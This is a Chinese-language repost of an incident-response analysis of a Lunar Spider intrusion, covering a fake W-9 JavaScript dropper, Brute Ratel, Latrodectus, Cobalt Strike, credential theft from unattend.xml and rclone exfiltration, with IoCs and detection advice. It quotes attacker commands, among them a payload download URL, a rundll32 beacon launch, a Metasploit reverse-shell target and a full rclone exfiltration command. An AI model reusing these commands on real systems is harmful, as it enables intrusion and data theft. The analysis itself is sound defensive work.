一次点击的代价:LunarSpider发动近两个月入侵完整分析

admin 2026-04-07 00:55:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了LunarSpider组织在2024年5月发起的近两个月入侵事件。攻击始于用户执行伪装为W-9税表的恶意JS文件,通过MSI包部署BruteRatel加载器并注入Latrodectus恶意软件。攻击者在第3天从unattend.xml文件中获取明文域管理员凭据,随后使用CobaltStrike横向移动至域控制器,并在第20天通过rclone工具外泄数据。关键教训包括明文凭据管理漏洞、长达60天的驻留时间以及未部署勒索软件的特征。建议加强JS文件执行监控、清除部署残留凭据、检测异常横向移动与数据外泄行为。 综合评分: 87 文章分类: 渗透测试,应急响应,威胁情报,恶意软件,漏洞分析


cover_image

一次点击的代价:Lunar Spider 发动近两个月入侵完整分析

bitbot bitbot

Desync InfoSec

2026年4月4日 22:16 北京

一次点击的代价:Lunar Spider 如何发动近两个月的入侵

来源:The DFIR Report · 2025-09-29 · 案例编号 #28761

📌 核心要点

  • 攻击始于用户执行恶意 JavaScript 文件,该文件与 Lunar Spider 初始访问组织关联
  • 恶意 JS 文件伪装为 W-9 税表,触发下载 MSI 包并部署 Brute Ratel DLL
  • Brute Ratel 加载器将 Latrodectus 恶意软件注入 explorer.exe 进程
  • 攻击者在第 3 天从 unattend.xml 文件中发现明文域管理员凭据
  • 随后部署 Cobalt Strike 信标,使用 PsExec 横向移动到域控制器
  • 攻击者在第 20 天使用 rclone 通过 FTP 外泄数据,持续约 10 小时
  • 攻击者在环境中维持了近两个月的持久访问,但未部署勒索软件

一、案例概述

此次入侵发生在 2024 年 5 月,用户执行了一个恶意 JavaScript 文件。该文件此前已被 EclecticIQ 报告与 Lunar Spider 初始访问组织关联。这个严重混淆的 JS 文件伪装为合法税表,仅包含少量分散在大量规避填充内容中的可执行代码。

JavaScript payload 触发了 MSI 包的下载,该包使用 rundll32 部署 Brute Ratel DLL 文件。Brute Ratel 加载器随后将 Latrodectus 恶意软件注入 explorer.exe 进程,并与多个 CloudFlare 代理域名建立 C2 通信。Latrodectus payload 随后被观察到下载了窃密模块。

初始访问后约一小时,威胁行为者使用内置 Windows 命令(ipconfig、systeminfo、nltest、whoami)开始侦察活动。约六小时后,攻击者建立了 BackConnect 会话,启动了 VNC 远程访问功能。

在近两个月的入侵期间,攻击者使用了 LatrodectusBrute RatelCobalt Strike 三种 C2 框架,最终被清除出环境。尽管拥有对关键基础设施的全面访问权限,但未观察到勒索软件部署

二、初始访问

感染始于执行 Latrodectus JavaScript 文件 Form_W-9_Ver-i40_53b043910-86g91352u7972-6495q3.js。该恶意软件于 2024 年 5 月 9 日首次上传到 VirusTotal,在 Operation Endgame(2024 年 5 月 27-29 日,执法部门摧毁多个僵尸网络)之前。

▲ 恶意 JavaScript 文件的混淆内容

严重混淆的 JS 文件包含多行以 // 开头的填充文本。进一步分析发现,执行所有以 //// 开头的代码行是去混淆的工作流程。

▲ JS 文件去混淆流程(第一阶段)

▲ 去混淆后的恶意代码(第二阶段)

去混淆后的 Latrodectus 恶意软件执行 HTTP 请求下载下一阶段:hxxp://91.194.11[.]64/MSI.msi,触发了 ET 策略规则「Observed MSI Download」。

三、执行

▲ MSI 包执行流程

Brute Ratel

MSI 包的静态分析显示 upfilles.dll 被嵌入在压缩的 disk1.cab 存档中。MSI 安装程序使用自定义操作通过 rundll32.exe 执行 DLL,调用导出函数 stow 启动恶意执行。

▲ Brute Ratel 加载器的哈希算法

加载器首先通过哈希算法解析三个 API(VirtualAlloc、LoadLibraryA、GetProcessAddress),然后通过 XOR 解密算法解密中间 Brute Ratel payload:

XOR 密钥: 21 79 3C 7A 39 5F 3E 24 54 4A 7A 35 6C 33 3E 32 5F 66 74 76 6D 59 3C 4D 00 RC4 密钥: 71 24 70 2C 7D 70 61 3F

▲ 解密后的 BRC4 C2 地址和 RC4 密钥

Latrodectus

Brute Ratel 执行后,通过 CreateRemoteThread API 将 Latrodectus 恶意软件注入 explorer.exe 进程。Latrodectus 是一个下载器,由 Proofpoint 于 2023 年 11 月首次发现,被认为与 IcedID 的开发者有关。

▲ Latrodectus 注入 explorer.exe 进程

约六小时后,运行 Latrodectus 的进程与 193.168.143[.]196 建立连接,怀疑为 BackConnect C2 服务器。攻击者随后启动了 VNC 远程访问功能。

Cobalt Strike

在第四天,攻击者部署了多个 Cobalt Strike 信标。第一个是 cron801.dl_ 文件,从注入的 explorer.exe 进程中释放到 C:\ProgramData,通过 BackConnect 执行:

rundll32 cron801.dl_,lvQkzdrFdILT

▲ BackConnect 启动 Cobalt Strike payload(pcap)

出站连接与 Cobalt Strike 服务器 hxxp://45.129.199[.]214/vodeo/wg01ck01 建立。网络流量分析揭示了包含 Vuetify v3.0.3 JavaScript 的 JSON 响应,由此发现了多个相关 C2 服务器。

▲ Cobalt Strike C2 服务器的 JSON 响应

四、凭据访问

Answer File 凭据泄露

第三天,攻击者通过 BackConnect 浏览文件系统时发现了 unattend.xml(Windows 应答文件)。该文件的 Microsoft-Windows-UnattendedJoin 组件包含明文域管理员凭据,攻击者立即获取了对域环境的高权限访问。

▲ unattend.xml 文件中的明文凭据

LSASS 访问

攻击者利用提升的权限访问了多台设备上的 LSASS 进程。所有 LSASS 访问遵循相同模式:注入的进程(runonce.exe 或 gpupdate.exe)首先请求 0x1010 权限,然后几秒后请求 0x1fffff(完全控制)权限。

▲ LSASS 进程访问记录

Veeam 凭据提取

第 26 天,攻击者从注入的 spoolsv.exe 进程运行了 Veeam-Get-Creds.ps1 脚本,获取 Veeam Credential Manager 中存储的明文用户名和密码。这些凭据通常用于备份操作中的远程系统认证。

五、横向移动

攻击者使用了多种横向移动技术:

▲ WMIC 远程执行尝试

首次横向移动尝试通过 WMIC 远程执行未能成功。攻击者随后转向 PsExec,首次还忘了加 accepteula 参数导致失败,修复后成功在域控制器上执行了 system.dl_ Cobalt Strike 信标。

▲ PsExec 横向移动到域控制器

第六天,攻击者从 ProgramData 部署了 zero.exe(Zerologon CVE-2020-1472 漏洞利用工具),针对第二个域控制器执行了八次,每次使用不同用户名。之后还尝试通过远程服务执行 Metasploit 反向 Shell 到 217.196.98[.]61:4444,但未能建立成功的 C2 连接。

▲ RDP 横向移动日志

六、数据外泄

第二十天,攻击者从文件服务器上的 Cobalt Strike 信标释放了数据外泄工具包,包括 VBScript 启动器(start.vbs)、批处理脚本(run.bat)、重命名的 Rclone(sihosts.exe)和配置文件(rclone.conf)。

sihosts.exe copy “E:” ftp:REDACTED\< !important;File Share Server>\E -q –inplace –ignore-existing –auto-confirm –multi-thread-streams 45 –transfers 45 –min-size 1k –max-age 90M

外泄使用 FTP 协议,用户名为 J0eBidenAbrabdy1aS3ha2Yeami,目标服务器 45.135.232.3。外泄活动持续了 9 小时 46 分钟

▲ 数据外泄流量图

七、IoC 指标

网络 IoC

| 类型 | 指标 | | — | — | | Latrodectus C2 | workspacin[.]cloud, illoskanawer[.]com, grasmetral[.]com, jarkaairbo[.]com, scupolasta[.]store | | Backconnect | 193.168.143.196, 185.93.221.12 | | Brute Ratel | anikvan[.]com, altynbe[.]com, boriz400[.]com, erbolsan[.]com, samderat200[.]com | | Cobalt Strike | 45.129.199.214, avtechupdate[.]com (206.206.123.209) | | Lsassa 后门 | cloudmeri[.]com (162.0.209.121) | | Metasploit | 217.196.98.61:4444 | | MSI 下载 | 91.194.11.64 | | Rclone FTP | 45.135.232.3 |

八、检测与缓解

🔍 关键检测方法

  • 初始访问:监控用户目录中的 JS 文件执行,检测 MSI 下载行为
  • 凭据安全:删除部署后遗留的明文凭据文件(unattend.xml),限制 LSASS 访问
  • 横向移动:监控 PsExec 使用、异常 RDP 登录、WMIC 远程执行
  • C2 通信:检测 CloudFlare 代理后的异常 HTTPS 流量、Beaconing 模式
  • 数据外泄:监控 FTP 出站流量、rclone 执行、大规模数据传输
  • 进程注入:检测 CreateRemoteThread 异常调用、sihost.exe/spoolsv.exe 注入

⚠️ 关键教训

明文凭据是最危险的安全隐患 — unattend.xml 中的域管理员凭据直接导致了整个域的沦陷

近两个月的驻留时间 — 攻击者在环境中维持了约 60 天的访问权限

未部署勒索软件 — 尽管拥有全面访问权限,攻击者仅进行了数据外泄


MITRE ATT&CK:初始访问 T1059.007(JavaScript) · 执行 T1218(Rundll32) · 持久化 T1060(注册表 Run 键) · 权限提升 T1548(UAC 绕过) · 防御规避 T1055(进程注入) · 凭据访问 T1003(LSASS) · 发现 T1082/T1087 · 横向移动 T1021(RDP/PsExec) · 数据外泄 T1567(FTP) · C2 T1071(HTTPS)

原文:The DFIR Report


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Desync InfoSec bitbot bitbot《一次点击的代价:Lunar Spider 发动近两个月入侵完整分析》

评论:0   参与:  0